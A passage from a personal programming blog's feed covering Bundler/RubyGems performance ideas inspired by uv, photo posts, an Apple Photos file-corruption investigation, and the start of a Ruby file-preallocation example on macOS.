This is because Bundler is able to download &lt;em&gt;siblings&lt;/em&gt; in the dependency tree in parallel, but unable to handle other relationships.&lt;/p&gt;
&lt;p&gt;There is actually a good reason that Bundler insists dependencies are installed before the gems themselves: native extensions.
When installing native extensions, the installation process &lt;em&gt;must&lt;/em&gt; run Ruby code (the &lt;code&gt;extconf.rb&lt;/code&gt; file).
Since the &lt;code&gt;extconf.rb&lt;/code&gt; could require dependencies be installed in order to run, we must install dependencies first.
For example &lt;a href=&#34;https://rubygems.org/gems/nokogiri&#34;&gt;&lt;code&gt;nokogiri&lt;/code&gt; depends on &lt;code&gt;mini_portile2&lt;/code&gt;&lt;/a&gt;, but &lt;code&gt;mini_portile2&lt;/code&gt; is only used during the installation process, so it needs to be installed before &lt;code&gt;nokogiri&lt;/code&gt; can be compiled and installed.&lt;/p&gt;
&lt;p&gt;However, if we were to &lt;em&gt;decouple downloading from installation&lt;/em&gt; it would be possible for us to maintain the &amp;ldquo;dependencies are installed first&amp;rdquo; business requirement but speed up installation.
In the &lt;code&gt;a -&amp;gt; b -&amp;gt; c&lt;/code&gt; case, we &lt;em&gt;could have been&lt;/em&gt; downloading gems &lt;code&gt;a&lt;/code&gt; and &lt;code&gt;b&lt;/code&gt; at the same time as gem &lt;code&gt;c&lt;/code&gt; (or even while waiting on &lt;code&gt;c&lt;/code&gt; to be installed).&lt;/p&gt;
&lt;p&gt;Additionally, pure Ruby gems don&amp;rsquo;t need to execute any code on installation.
If we knew that we were installing a pure Ruby gem, it would be possible to relax the &amp;ldquo;dependencies are installed first&amp;rdquo; business requirement and get even more performance increases.
The above &lt;code&gt;a -&amp;gt; b -&amp;gt; c&lt;/code&gt; case &lt;em&gt;could&lt;/em&gt; install all three gems in parallel since none of them execute Ruby code during installation.&lt;/p&gt;
&lt;p&gt;I would propose we split installation in to 4 discrete steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Download the gem&lt;/li&gt;
&lt;li&gt;Unpack the gem&lt;/li&gt;
&lt;li&gt;Compile the gem&lt;/li&gt;
&lt;li&gt;Install the gem&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Downloading and unpacking can be done trivially in parallel.
We should unpack the gem to a temporary folder so that if the process crashes or the machine loses power, the user isn&amp;rsquo;t stuck with a half-installed gem.
After we unpack the gem, we can discover whether the gem is a native extension or not.
If it&amp;rsquo;s not a native extension, we &amp;ldquo;install&amp;rdquo; the gem simply by moving the temporary folder to the &amp;ldquo;correct&amp;rdquo; location.
This step could even be a &amp;ldquo;hard link&amp;rdquo; step as discussed in the next point.&lt;/p&gt;
&lt;p&gt;If we discover that the gem is a native extension, then we can &amp;ldquo;pause&amp;rdquo; installation of that gem until its dependencies are installed, then resume (by compiling) at an appropriate time.&lt;/p&gt;
&lt;p&gt;Side note: &lt;a href=&#34;https://github.com/gel-rb/gel&#34;&gt;&lt;code&gt;gel&lt;/code&gt;, a Bundler alternative&lt;/a&gt;, works mostly in this manner today.
Here is a timing of the &lt;code&gt;a -&amp;gt; b -&amp;gt; c&lt;/code&gt; case from above:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;&amp;gt; rm -f Gemfile.lock; time gel install
Fetching sources....
Resolving dependencies...
Writing lockfile to /Users/aaron/git/gemserver/app/Gemfile.lock
Installing c (1.0.0) 
Installing a (1.0.0)
Installing b (1.0.0)
Installed 3 gems  

________________________________________________________
Executed in    4.07 secs      fish           external
   usr time  289.22 millis    0.32 millis  288.91 millis
   sys time  347.04 millis    1.36 millis  345.68 millis
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Lets move on to the next point:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Global cache with hardlinks. pip copies packages into each virtual environment. uv keeps one copy globally and uses hardlinks&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I think this is a great idea, but I&amp;rsquo;d actually like to split the idea in two.
First, RubyGems and Bundler should have a combined, global cache, full stop.
I think that global cache should be in &lt;code&gt;$XDG_CACHE_HOME&lt;/code&gt;, and we should store &lt;code&gt;.gem&lt;/code&gt; files there when they are downloaded.&lt;/p&gt;
&lt;p&gt;Currently, both Bundler and RubyGems will use a Ruby version specific cache folder.
In other words, if you do &lt;code&gt;gem install rails&lt;/code&gt; on two different versions of Ruby, you get two copies of Rails and all its dependencies.&lt;/p&gt;
&lt;p&gt;Interestingly, &lt;a href=&#34;https://github.com/ruby/rubygems/issues/7249&#34;&gt;there is an open ticket to implement this&lt;/a&gt;, it just needs to be done.&lt;/p&gt;
&lt;p&gt;The second point is hardlinking on installation.
The idea here is that rather than unpacking the gem multiple times, once per Ruby version, we simply unpack once and then hard link per Ruby version.
I like this idea, but I think it should be implemented after some technical debt is paid: namely implementing a global cache and unifying Bundler / RubyGems code paths.&lt;/p&gt;
&lt;p&gt;On to the next point:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;PubGrub resolver&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Actually Bundler already uses a Ruby implementation of the PubGrub resolver.
You can see it &lt;a href=&#34;https://github.com/ruby/rubygems/tree/569c5c7450137839ff7c536f160b06a43ea3dfe4/bundler/lib/bundler/vendor/pub_grub&#34;&gt;here&lt;/a&gt;.
Unfortunately, RubyGems &lt;a href=&#34;https://github.com/ruby/rubygems/tree/569c5c7450137839ff7c536f160b06a43ea3dfe4/lib/rubygems/vendor/molinillo&#34;&gt;still uses the molinillo resolver&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In other words you use a different resolver depending on whether you do &lt;code&gt;gem install&lt;/code&gt; or &lt;code&gt;bundle install&lt;/code&gt;.
I don&amp;rsquo;t really think this is a big deal since the vast majority of users will be doing &lt;code&gt;bundle install&lt;/code&gt; most of time.
However, I do think this discrepancy is some technical debt that should be addressed, and I think this should be addressed via unification of RubyGems and Bundler codebases (today they both live in the same repository, but the code isn&amp;rsquo;t necessarily combined).&lt;/p&gt;
&lt;p&gt;Lets move on to the next section of Andrew&amp;rsquo;s post:&lt;/p&gt;
&lt;h2 id=&#34;where-rust-actually-matters&#34;&gt;Where Rust actually matters&lt;/h2&gt;
&lt;p&gt;Andrew first mentions &amp;ldquo;Zero-copy deserialization&amp;rdquo;.
This is of course an important technique, but I&amp;rsquo;m not 100% sure where we would utilize it in RubyGems / Bundler.
I think that today we parse the YAML spec on installation, and that could be a target.
But I also think we could install most gems without looking at the YAML gemspec at all.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Thread-level parallelism. Python’s GIL forces parallel work into separate processes, with IPC overhead and data copying.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is an interesting point.
I&amp;rsquo;m not sure what work pip needed to do in separate processes.
Installing a pure Ruby, Ruby Gem is mostly an IO bound task, with some ZLIB mixed in.
Both of these things (IO and ZLIB processing) release Ruby&amp;rsquo;s GVL, so it&amp;rsquo;s possible for us to do things truly in parallel.
I imagine this is similar for Python / pip, but I really have no idea.&lt;/p&gt;
&lt;p&gt;Given the stated challenges with Python&amp;rsquo;s GIL, you might wonder whether Ruby&amp;rsquo;s GVL presents similar parallelism problems for Bundler.
I don&amp;rsquo;t think so, and in fact I think Ruby&amp;rsquo;s GVL gets kind of a bad rap.
It prevents us from running CPU bound Ruby code in parallel.
Ractors address this, and Bundler could possibly leverage them in the future, but since installing Gems is mostly an IO bound task I&amp;rsquo;m not sure what the advantage would be (possibly the version solver, but I&amp;rsquo;m not sure what can be parallelized in there).
The GVL does allow us to run IO bound work in parallel with CPU bound Ruby code.
CPU bound native extensions are allowed to &lt;em&gt;release the GVL&lt;/em&gt;, allowing Ruby code to run in parallel with the native extension&amp;rsquo;s CPU bound code.&lt;/p&gt;
&lt;p&gt;In other words, Ruby&amp;rsquo;s GVL allows us to &lt;em&gt;safely&lt;/em&gt; run work in parallel.
That said, the GVL can work against us because releasing and acquiring the GVL &lt;em&gt;takes time&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;If you have a system call that is very fast, releasing and acquiring the GVL could end up being a large percentage of that call.
For example, if you do &lt;code&gt;File.binwrite(file, buffer)&lt;/code&gt;, and the buffer is very small, you could encounter a situation where GVL book keeping is the majority of the time.
A bummer is that Ruby Gem packages usually contain lots of very small files, so this problem &lt;em&gt;could&lt;/em&gt; be impacting us.
The good news is that this problem can be solved in Ruby itself, and &lt;a href=&#34;https://github.com/ruby/ruby/pull/15529&#34;&gt;indeed some work is being done on it today&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No interpreter startup. Every time pip spawns a subprocess, it pays Python’s startup cost.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Obviously Ruby has this same problem.
That said, we only start Ruby subprocesses when installing native extensions.
I think native extensions make up the minority of gems installed, and even when installing a native extension, it isn&amp;rsquo;t Ruby startup that is the bottleneck.
Usually the bottleneck is compilation / linking time (as we&amp;rsquo;ll see in the next post).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Compact version representation. uv packs versions into u64 integers where possible, making comparison and hashing fast.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is a cool optimization, but I don&amp;rsquo;t think it&amp;rsquo;s actually Rust specific.
Comparing integers is &lt;em&gt;much&lt;/em&gt; faster than comparing version objects.
The idea is that you take a version number, say &lt;code&gt;1.0.0&lt;/code&gt;, and then pack each part of the version in to a single integer.
For example, we could represent &lt;code&gt;1.0.0&lt;/code&gt; as &lt;code&gt;0x0001_0000_0000_0000&lt;/code&gt; and &lt;code&gt;1.1.0&lt;/code&gt; as &lt;code&gt;0x0001_0001_0000_0000&lt;/code&gt;, etc.&lt;/p&gt;
&lt;p&gt;It should be possible to use this trick in Ruby and encode versions to integer immediates, which would unlock performance in the resolver.
Rust has an advantage here - compiled native code comparing u64s will always be faster than Ruby, even with immediates.
However, I would bet that with the YJIT or ZJIT in play, this gap could be closed enough that no end user would notice the difference between a Rust or Ruby implementation of Bundler.&lt;/p&gt;
&lt;p&gt;I &lt;a href=&#34;https://github.com/ruby/rubygems/pull/9085&#34;&gt;started refactoring the &lt;code&gt;Gem::Version&lt;/code&gt; object&lt;/a&gt; so that we might start doing this, but we ended up reverting it because of backwards compatibility (I am jealous of &lt;code&gt;uv&lt;/code&gt; in that regard).
I think the right way to do this is to refactor the solver entry point and ensure all version requirements are encoded as integer immediates before entering the solver.
We could keep the &lt;code&gt;Gem::Version&lt;/code&gt; API as &amp;ldquo;user facing&amp;rdquo; and design a more internal API that the solver uses.
I am very interested in reading the version encoding scheme in uv.
My intuition is that minor numbers tend to get larger than major numbers, so would minor numbers have more dedicated bits?
Would it even matter with 64 bits?&lt;/p&gt;
&lt;h2 id=&#34;wrapping-this-up&#34;&gt;Wrapping this up&lt;/h2&gt;
&lt;p&gt;I&amp;rsquo;m going to quote Andrew&amp;rsquo;s last 2 paragraphs:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;uv is fast because of what it doesn’t do, not because of what language it’s written in. The standards work of PEP 518, 517, 621, and 658 made fast package management possible. Dropping eggs, pip.conf, and permissive parsing made it achievable. Rust makes it a bit faster still.&lt;/p&gt;
&lt;p&gt;pip could implement parallel downloads, global caching, and metadata-only resolution tomorrow. It doesn’t, largely because backwards compatibility with fifteen years of edge cases takes precedence. But it means pip will always be slower than a tool that starts fresh with modern assumptions.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I think these are very good points.
The difference is that in RubyGems and Bundler, we already have the infrastructure in place for writing a &amp;ldquo;fast as uv&amp;rdquo; package manager.
The difficult part is dealing with backwards compatibility, and navigating two legacy codebases.
I think this is the real advantage the uv developers had.
That said, I am very optimistic that we could &amp;ldquo;repair the plane mid-flight&amp;rdquo; so to speak, and have the best of both worlds: backwards compatibility &lt;em&gt;and&lt;/em&gt; speed.&lt;/p&gt;
&lt;p&gt;I mentioned at the top of the post I would address &amp;ldquo;rewrite it in Rust&amp;rdquo;, and I think Andrew&amp;rsquo;s own quote mostly does that for me.
I think we could have 99% of the performance improvements while still maintaining a Ruby codebase.
Of course if we rewrote it in Rust, you could squeeze an extra 1% out, but would it be worthwhile?  I don&amp;rsquo;t think so.&lt;/p&gt;
&lt;p&gt;I have a lot more to say about this topic, and I feel like this post is getting kind of long, so I&amp;rsquo;m going to end it here.
Please look out for part 2, which I&amp;rsquo;m tentatively calling &amp;ldquo;What makes Bundler / RubyGems slow?&amp;rdquo;
This post was very &amp;ldquo;can we make RubyGems / Bundler do what uv does?&amp;rdquo; (the answer is &amp;ldquo;yes&amp;rdquo;).
In part 2 I want to get more hands-on by discussing how to profile Bundler and RubyGems, what specifically makes them slow in the real world, and what we can do about it.&lt;/p&gt;
&lt;p&gt;I want to end this post by saying &amp;ldquo;thank you&amp;rdquo; to Andrew for writing such a great post about &lt;a href=&#34;https://nesbitt.io/2025/12/26/how-uv-got-so-fast.html&#34;&gt;how uv got so fast&lt;/a&gt;.&lt;/p&gt;
</content>
  </entry>

  
    <entry>
    <title>Happy Holidays</title>
    <link rel="alternate" href="https://tenderlovemaking.com/shots/2025-12-22-happy-holidays/"/>
    <id>https://tenderlovemaking.com/shots/2025-12-22-happy-holidays/</id>
    <published>2025-12-22T16:01:02-08:00</published>
    <updated>2025-12-22T16:01:02-08:00</updated>
    <content type="html">&lt;img src="/shots/2025-12-22-happy-holidays/images/holidays.jpeg" alt="A man wearing a Santa hat and festive red sweater holds an orange cat against a teal background with 'Happy Holidays' text above." /&gt;&lt;p&gt;Happy holidays everyone!  Have a great rest of the year!&lt;/p&gt;
</content>
  </entry>

  
    <entry>
    <title>Seattle Waterfront</title>
    <link rel="alternate" href="https://tenderlovemaking.com/shots/2025-12-16-seattle-waterfront/"/>
    <id>https://tenderlovemaking.com/shots/2025-12-16-seattle-waterfront/</id>
    <published>2025-12-16T16:49:54-08:00</published>
    <updated>2025-12-16T16:49:54-08:00</updated>
    <content type="html">&lt;img src="/shots/2025-12-16-seattle-waterfront/images/PC130523.jpeg" alt="A seagull perches on a rooftop overlooking Seattle's waterfront with the Great Wheel and Puget Sound in the background." /&gt;&lt;img src="/shots/2025-12-16-seattle-waterfront/images/PC130570.jpeg" alt="A large Ferris wheel rises behind a waterfront building with 'Seattle Harbor Cruise' signage at dusk." /&gt;&lt;img src="/shots/2025-12-16-seattle-waterfront/images/PC130589.jpeg" alt="A fire hazard warning sign in the foreground with shipping container cranes visible across the water under a cloudy sky at dusk." /&gt;&lt;img src="/shots/2025-12-16-seattle-waterfront/images/PC130697.jpeg" alt="People and stairs" /&gt;&lt;img src="/shots/2025-12-16-seattle-waterfront/images/PC130703.jpeg" alt="People walk up and down a long outdoor staircase at dusk, with some figures motion-blurred while bright street lights glow above in the autumn trees." /&gt;&lt;img src="/shots/2025-12-16-seattle-waterfront/images/PC130751.jpeg" alt="A brightly illuminated Ferris wheel on a waterfront pier glows with pink and purple lights against a dramatic sunset sky as a ferry passes by in the water." /&gt;&lt;p&gt;Went to the Seattle waterfront over the weekend to watch the sunset (at like 4pm lol).
Unfortunately it was pretty cloudy out, but I had a good time.&lt;/p&gt;
</content>
  </entry>

  
    <entry>
    <title>Seattle Downtown Library</title>
    <link rel="alternate" href="https://tenderlovemaking.com/shots/2025-11-30-public-library/"/>
    <id>https://tenderlovemaking.com/shots/2025-11-30-public-library/</id>
    <published>2025-11-30T14:05:50-08:00</published>
    <updated>2025-11-30T14:05:50-08:00</updated>
    <content type="html">&lt;img src="/shots/2025-11-30-public-library/images/PB090028.jpeg" alt="Blue chair, red table" /&gt;&lt;img src="/shots/2025-11-30-public-library/images/PB090054.jpeg" alt="Overhead view of a library floor with wooden shelving units displaying books arranged horizontally and vertically." /&gt;&lt;img src="/shots/2025-11-30-public-library/images/PB090068.jpeg" alt="Library lobby with geometric glass and metal architecture features. Purple seating below dramatic angular skylights casting geometric shadows on the floor." /&gt;&lt;img src="/shots/2025-11-30-public-library/images/PB090102.jpeg" alt="Two people stand in a dimly lit corridor with green vertical panels on the left and glowing red light on the right, viewed from behind." /&gt;&lt;img src="/shots/2025-11-30-public-library/images/PB090119.jpeg" alt="A pair of bright yellow escalators with numbered indicators dimly lit" /&gt;&lt;p&gt;I want to try posting more images to my blog, so here&amp;rsquo;s my first try.
Instagram doesn&amp;rsquo;t really seem like a good place to post photos anymore, so I figured I&amp;rsquo;d try on my blog.
I&amp;rsquo;d like to get my blog working with &lt;a href=&#34;https://posseparty.com&#34;&gt;Posse Party&lt;/a&gt; at some point, I just need to figure out the API keys, and then I can cross post this to Instagram anyway.&lt;/p&gt;
&lt;p&gt;Recently I went on a photo walk to the Seattle downtown public library.
These images are from that photo walk!
I&amp;rsquo;ve been living in Seattle since before the library was built, and I never took the chance to actually go visit, so this was a good opportunity.
I feel like when you live somewhere, you don&amp;rsquo;t take the opportunity to visit all of the cool stuff there, and going on local photo walks seems like a good way for me to visit more of the city.&lt;/p&gt;
&lt;p&gt;Anyway, the Seattle public library is really great and I recommend anyone to visit!&lt;/p&gt;
</content>
  </entry>

  
    <entry>
    <title>Apple Photos App Corrupts Images</title>
    <link rel="alternate" href="https://tenderlovemaking.com/2025/09/17/apple-photos-app-corrupts-images/"/>
    <id>https://tenderlovemaking.com/2025/09/17/apple-photos-app-corrupts-images/</id>
    <published>2025-09-17T08:59:23+09:00</published>
    <updated>2025-09-17T08:59:23+09:00</updated>
    <content type="html">&lt;p&gt;The Apple Photos app sometimes corrupts images when importing from my camera.
I just wanted to make a blog post about it in case anyone else runs into the problem.
I&amp;rsquo;ve seen other references to this online, but most of the people gave up trying to fix it, and none of them went as far as I did to debug the issue.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ll try to describe the problem, and the things I&amp;rsquo;ve tried to do to fix it.
But also note that I&amp;rsquo;ve (sort of) given up on the Photos app too.
Since I can&amp;rsquo;t trust it to import photos from my camera, I switched to a different workflow.&lt;/p&gt;
&lt;p&gt;Here is a screenshot of a corrupted image in the Photos app:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/2025/09/17/apple-photos-app-corrupts-images/images/corrupt-image.png&#34; alt=&#34;screenshot of a corrupt image&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;how-i-used-to-import-images&#34;&gt;How I used to import images&lt;/h2&gt;
&lt;p&gt;I&amp;rsquo;ve got an &lt;a href=&#34;https://en.wikipedia.org/wiki/OM_System_OM-1&#34;&gt;OM System OM-1&lt;/a&gt; camera.
I used to shoot in RAW + jpg, then when I would import to Photos app, I would check the &amp;ldquo;delete photos after import&amp;rdquo; checkbox in order to empty the SD card.
Turns out &amp;ldquo;delete after import&amp;rdquo; was a huge mistake.&lt;/p&gt;
&lt;h2 id=&#34;getting-corrupted-images&#34;&gt;Getting corrupted images&lt;/h2&gt;
&lt;p&gt;I&amp;rsquo;m pretty sure I&amp;rsquo;d been getting corrupted images for a while, but it would only be 1 or 2 images out of thousands, so I thought nothing of it (it was probably my fault anyway, right?)&lt;/p&gt;
&lt;p&gt;But the problem really got me upset when last year I went to a family member&amp;rsquo;s wedding and took tons of photos.
Apple Photos combines RAW + jpg photos so you don&amp;rsquo;t have a bunch of duplicates, and when you view the images in the photos app, it just shows you the jpg version by default.
After I imported all of the wedding photos I noticed some of them were corrupted.
Upon closer inspection, I found that it sometimes had corrupted the jpg, sometimes corrupted the RAW file, and sometimes both.
Since I had been checking the &amp;ldquo;delete after import&amp;rdquo; box, I didn&amp;rsquo;t know if the images on the SD card were corrupted &lt;em&gt;before&lt;/em&gt; importing or not.
After all, the files had been deleted so there was no way to check.&lt;/p&gt;
&lt;p&gt;I estimate I completely lost about 30% of the images I took that day.&lt;/p&gt;
&lt;p&gt;Losing so many photos really rattled me, but I wanted to figure out the problem so I didn&amp;rsquo;t lose images in the future.&lt;/p&gt;
&lt;h2 id=&#34;narrowing-down-the-problem&#34;&gt;Narrowing down the problem&lt;/h2&gt;
&lt;p&gt;I was worried this was somehow a hardware problem.
Copying files seems so basic, I didn&amp;rsquo;t think there was any way a massively deployed app like Photos could fuck it up (especially since its main job is managing photo files).
So, to narrow down the issue I changed out all of the hardware.
Here are all the things I did:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Switched USB-C cables&lt;/li&gt;
&lt;li&gt;Bought a new SD card direct from the manufacturer (to eliminate the possibility of buying a bootleg SD card)&lt;/li&gt;
&lt;li&gt;Switched to only shooting in RAW (if importing messes up 30% of my images, but I cut the number of images I import by half, then that should be fewer corrupted images right? lol)&lt;/li&gt;
&lt;li&gt;Bought a new laptop&lt;/li&gt;
&lt;li&gt;Bought a new camera: the OM System OM-1 MKii&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I did each of these steps over time, as to only change one variable at a time, and still the image corruption persisted.
I didn&amp;rsquo;t really want to buy a new camera, the MKii is not really a big improvement over the OM-1, but we had a family trip coming up and the idea that pressing the shutter button on the camera might not actually record the image didn&amp;rsquo;t sit well with me.&lt;/p&gt;
&lt;h2 id=&#34;finally-a-smoking-gun&#34;&gt;Finally a smoking gun&lt;/h2&gt;
&lt;p&gt;Since I had replaced literally all of the hardware involved, I knew it must be a software problem.
I stopped checking the &amp;ldquo;delete after import&amp;rdquo; button, and started reviewing all of the photos after import.
After verifying none of them were corrupt, then I would format the SD card.
I did this for months without finding any corrupt files.
At this point I figured it was somehow a race condition or something when copying the photo files and deleting them at the same time.&lt;/p&gt;
&lt;p&gt;However, after I got home from RailsConf and imported my photos, I found one corrupt image (the one above).
I was able to verify that the image was &lt;em&gt;not&lt;/em&gt; corrupt on the SD card, so the camera was working fine (meaning I probably didn&amp;rsquo;t need to buy a new camera body at all).&lt;/p&gt;
&lt;p&gt;I tried deleting the corrupt file and re-importing the original to see if it was something about that particular image, but it re-imported just fine.
In other words, it seems like the Photos app will corrupt files randomly.&lt;/p&gt;
&lt;p&gt;I don&amp;rsquo;t know if this is a problem that is specific to OM System cameras, and I&amp;rsquo;m not particularly interested in investing in a new camera system just to find out.&lt;/p&gt;
&lt;p&gt;If I compare the corrupted image with the non-corrupted image, the file sizes are exactly the same, but the bytes are different:&lt;/p&gt;
&lt;p&gt;Checksums:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;aaron@tc ~/Downloads&amp;gt; md5sum P7110136-from-camera.ORF Exports/P7110136.ORF 
17ce895fd809a43bad1fe8832c811848  P7110136-from-camera.ORF
828a33005f6b71aea16d9c2f2991a997  Exports/P7110136.ORF
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;File sizes:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;aaron@tc ~/Downloads&amp;gt; ls -al P7110136-from-camera.ORF Exports/P7110136.ORF
-rw-------@ 1 aaron  staff  18673943 Jul 12 04:38 Exports/P7110136.ORF
-rwx------  1 aaron  staff  18673943 Jul 17 09:29 P7110136-from-camera.ORF*
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;P7110136-from-camera.ORF&lt;/code&gt; is the non-corrupted file, and &lt;code&gt;Exports/P7110136.ORF&lt;/code&gt; is the corrupted file from Photos app.
Here&amp;rsquo;s a screenshot of the preview of the non-corrupted photo:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/2025/09/17/apple-photos-app-corrupts-images/images/non-corrupt.png&#34; alt=&#34;screenshot of non-corrupt image&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://gist.github.com/tenderlove/25853f50ab46a58738ff2cc22d682f2b&#34;&gt;Here is the binary diff between the files&lt;/a&gt;.
I ran both files through &lt;code&gt;xxd&lt;/code&gt; then diffed them.
Also if anyone cares to look, I&amp;rsquo;ve posted the RAW files &lt;a href=&#34;https://github.com/tenderlove/corrupt-raws&#34;&gt;here on GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&#34;my-new-workflow&#34;&gt;My new workflow&lt;/h2&gt;
&lt;p&gt;I&amp;rsquo;m not going to put any more effort into debugging this problem, but I wanted to blog about it in case anyone else is seeing the issue.
I take a lot of photos, and to be frank, most of them are not very good.
I don&amp;rsquo;t want to look through a bunch of bad photos every time I look at my library, so culling photos is important.
Culling photos in the Photos app is way too cumbersome, so I&amp;rsquo;ve switched to using &lt;a href=&#34;https://www.darktable.org&#34;&gt;Darktable&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;My current process is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Import images to Darktable&lt;/li&gt;
&lt;li&gt;Delete the ones I don&amp;rsquo;t like&lt;/li&gt;
&lt;li&gt;Process ones I do like&lt;/li&gt;
&lt;li&gt;Export both the jpg and the original raw file&lt;/li&gt;
&lt;li&gt;Import those to the Photos app so they&amp;rsquo;re easy to view and share&lt;/li&gt;
&lt;li&gt;Periodically format my SD card&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I&amp;rsquo;ve not seen any file corruption when importing to Darktable, so I am convinced this is a problem with the Photos app.
But now, since all of my images land in Darktable before making their way to the Photos app, I don&amp;rsquo;t really care anymore.
The bad news is that I&amp;rsquo;ve spent a lot of time and money trying to debug this.
I guess the good news is that now I have redundant hardware!&lt;/p&gt;
</content>
  </entry>

  
    <entry>
    <title>File preallocation on macOS in Ruby</title>
    <link rel="alternate" href="https://tenderlovemaking.com/2025/09/10/file-preallocation-on-macos-in-ruby/"/>
    <id>https://tenderlovemaking.com/2025/09/10/file-preallocation-on-macos-in-ruby/</id>
    <published>2025-09-10T07:12:21+09:00</published>
    <updated>2025-09-10T07:12:21+09:00</updated>
    <content type="html">&lt;p&gt;I haven&amp;rsquo;t blogged in a while, so I figured I should do that.
Jet lag has blessed me with some free time this morning, so I figured I would make some content in order to feed the AI bots.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ve been messing around with pre-allocating files on the file system on macOS.
This is useful in cases where you have a large file you need to copy, and you want to copy it quickly.
For example, a tar implementation where the tar file might contain large files you need to copy.&lt;/p&gt;
&lt;p&gt;Here is the code:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;require &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;fcntl&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# typedef struct fstore {&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#     u_int32_t fst_flags;      /* IN: flags word */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#     int       fst_posmode;    /* IN: indicates offset field */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#     off_t     fst_offset;     /* IN: start of the region */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#     off_t     fst_length;     /* IN: size of the region */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#     off_t     fst_bytesalloc; /* OUT: number of bytes allocated */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# } fstore_t;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;size &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1234&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;Fcntl&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;::&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;F_ALLOCATECONTIG&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;Fcntl&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;::&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;F_PEOFPOSMODE&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, size, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
